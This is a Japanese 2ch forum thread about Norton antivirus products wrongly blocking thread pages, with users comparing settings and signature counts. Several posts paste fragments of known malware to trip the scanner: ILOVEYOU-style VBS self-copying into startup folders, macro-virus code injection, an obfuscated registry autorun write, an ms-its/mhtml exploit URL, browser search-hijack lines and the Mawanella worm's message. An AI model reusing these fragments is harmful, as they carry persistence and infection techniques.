ノートン誤作動対策本部

**動け動けウゴウゴ２ちゃんねる** · 2005/11/28(月) 16:08:40

詳細: 侵入を検出して遮断しました。 news19.2ch.net(206.223.151.67) とのすべての通信は 30 分間にわたって遮断されます。
アドレスをクリックすると攻撃者を追跡できます
この攻撃について詳しくはシマンテック･セキュリティ･レスポンス

**御法川将貴** · 2006/07/05(水) 21:12:56

変態熊本県民が　万引きしたぞー

**動け動けウゴウゴ２ちゃんねる** · 2006/07/08(土) 10:08:59

ためしにNAVの設定元に戻してみたら
引っかからなくなってるような。（<body onload=w****w()>）
シマンテックが対策した？
NISはもってないからわからんけど。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/08(土) 13:54:58

その書き込み何度みたことか・・・

**動け動けウゴウゴ２ちゃんねる** · 2006/07/08(土) 14:33:46

その都度自分で試して設定やりなおす俺

**960** · 2006/07/09(日) 00:04:04

vbsウイルスのソースじゃなくて侵入を検出して遮断しました、の
やつだよ。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 05:10:45

>>963
してないよ

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 05:25:13

>>963
このｳｿﾂｷ！！

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 09:18:36

もう頭悪いからノー㌧の設定ができない。
自分の常連のスレ片っ端から張られてｷﾞｺだめだし、
IEで見るようになった。
もう更新やめて別のアンチウィルスソフトにするかな。
それまで我慢してだ。
でもシマンテックの客が減るよな～。

**960** · 2006/07/09(日) 09:34:50

>>965
ってか
このスレは侵入を検出して遮断しました用のスレだと思ってた。
vbsウイルスのソースに誤反応、のスレは他にあるし。。

**960** · 2006/07/09(日) 09:58:03

あ、レス読み違えたｽﾏｿ
うちでは何故かnavの設定戻して一度も開いたことないスレのログ取ってみても再現しない。
nav2005です。vbsウイルス用のフォルダ除外の設定はそのまま。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 11:57:57

>>968
だってNAVが誤反応してるわけじゃないもの。
侵入検知はファイアーウォールのお仕事でしょ。

**960** · 2006/07/09(日) 14:37:40

>>969
>>687以降参照。
NISだけの現象なら始めからこのスレにくることもなかったわけだが。。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 14:39:36

まあとにかくNIS2004だと相変わらず反応するわけだ

**960** · 2006/07/09(日) 15:08:39

>>971 ﾚｽthx
ログビューアみてたらワーム検出の監視ログが変なのに気づいた。

詳細: インターネットワーム保護が 0 個のシグネチャを監視しています。

になってる。全部監視OFF状態になってすり抜けてるだけかも。
確実にインターネットワーム防止をチェックしてるんだけど。。
とりあえずHTTP MSIE JavaScript OnLoad Rte CodeExecのみﾁｪｯｸ外した状態なら

詳細: インターネットワーム保護が 568 個のシグネチャを監視しています。

になるようなのでそうしておきます。

**960** · 2006/07/09(日) 15:36:17

連投すまそ、
いろいろいじっても 0 個のシグネチャを監視していますから変わらなくなってしまった
こんなことに時間割くのは無駄だし更新ｻｰﾋﾞｽ買うのはやめようと思います･･･orz

**動け動けウゴウゴ２ちゃんねる** · 2006/07/09(日) 19:43:03

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"; type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
？？？

**動け動けウゴウゴ２ちゃんねる** · 2006/07/11(火) 20:28:47

今まで>>974みたいのを専ブラでNGワードに指定していたら、
難なく見ることができていました。
ところが、なぜか今は見られません。
現在も専ブラ上ではｱﾎﾞｰｿされているのですが、やっぱり見ることができません。
何かあったのでしょうか？
やっぱり誤作動なのでしょうか？

ちなみに今はノートンを無効にしています。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/12(水) 02:08:08

専ブラったっていろいろあるから
NGワードの処理の仕方も同じじゃない

**動け動けウゴウゴ２ちゃんねる** · 2006/07/12(水) 09:33:42

専ブラは変えてないなら
誤作動する文字列の種類が違うんでしょう。
おおまかに分けると誤反応には現状３種類ある（含シリア語ブラクラ）

**動け動けウゴウゴ２ちゃんねる** · 2006/07/12(水) 18:52:17

シリア語ブラクラでノートンが誤反応するのか？？

**977** · 2006/07/12(水) 20:53:52

ごめん、シリア語ブラクラはノートンとは関係ないね。
最近ノートントラップと一緒に貼ってあったりするので混同してしまった。

**動け動けウゴウゴ２ちゃんねる** · 2006/07/16(日) 22:37:21

t2.WriteLine('"Search Bar"="http://www.jethomepage.com/search.htm";');
t2.WriteLine('"Default_Search_URL"="http://www.jethomepage.com/search.htm";');
t2.WriteLine('"Search Page"="http://www.jethomepage.com/search.htm";');

strMsg= " ) (" & vbcrlf
strMsg= strMsg & "( ) ( ) " & vbcrlf
strMsg= strMsg & " ( ) ( )" & vbcrlf
strMsg= strMsg & " ( ) ( )" & vbcrlf
strMsg= strMsg & " -------------------------" & vbcrlf
strMsg= strMsg & " / ( ( ( /\" & vbcrlf
strMsg= strMsg & " / ( / \" & vbcrlf
strMsg= strMsg & " / ( ( / \" & vbcrlf
strMsg= strMsg & " --------------------------------" & vbcrlf
strMsg= strMsg & " | --- | |" & vbcrlf
strMsg= strMsg & " | ----- | | | |" & vbcrlf
strMsg= strMsg & " | | | --- | |" & vbcrlf
strMsg= strMsg & " | | | | |" & vbcrlf
strMsg= strMsg & " --------------------------------" & vbcrlf

strMsg= strMsg & "Mawanella is one of the Sri Lanka's Muslim Village." & vbcrlf
strMsg= strMsg & "This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt." & vbcrlf
strMsg= strMsg & "I hat this incident, What about you? I can destroy your computer" & vbcrlf
strMsg= strMsg & "I didn't do that because I am a peace-loving citizen."

**動け動けウゴウゴ２ちゃんねる** · 2006/07/19(水) 12:50:11